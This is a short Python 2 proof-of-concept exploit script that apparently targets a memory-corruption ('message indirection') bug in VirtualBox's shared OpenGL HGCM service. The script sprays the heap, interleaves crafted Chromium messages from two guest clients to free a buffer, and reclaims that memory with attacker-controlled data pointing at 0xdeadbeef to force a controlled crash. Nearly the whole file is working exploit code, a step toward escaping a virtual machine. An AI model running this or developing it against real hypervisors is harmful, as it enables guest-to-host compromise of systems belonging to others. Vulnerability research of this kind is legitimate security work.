<gh_stars>100-1000
#!/usr/bin/env python2
import sys, os
from struct import pack, unpack

sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/../lib')
from chromium import *

client1 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client1)

client2 = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client2)

msg1 = pack("<III", 0x77474c0b, 0x41414141, 1) + '\0\0\0\xff'
msg_begin = (pack("<III", 0x77474c01, 0x41414141, 1)
        + '\0\0\0' + chr(CR_BEGIN_OPCODE)
        + '\0'*4) # mode, has to be <= GL_POLYGON
msg_end = pack("<III", 0x77474c01, 0x41414141, 1) + '\0\0\0' + chr(CR_END_OPCODE)

# Spray a bit to close holes
for _ in range(20):
    alloc_buf(client1, 0x100000)
    alloc_buf(client1, 0x100010)

boom = ''
boom += '\0'*0x10
boom += pack("<IIQ", 0x77474c0d, 0x41414141, 0xdeadbeef)

# We call GLXMakeCurrent to set up the GL state properly.
# Otherwise we can't trigger allow_redir_ptr = 0
create_context(client1)

while True:
    # Try to trigger the message indirection bug
    crmsg(client1, msg_begin)
    crmsg(client2, msg1, 0x100000)
    # Reclaim freed space with controlled data
    for _ in range(10):
        alloc_buf(client1, 0x100000, boom)
    crmsg(client1, msg_end)

# This should produce a crash when trying to fetch a CRMessage from the
# address 0xdeadbeef
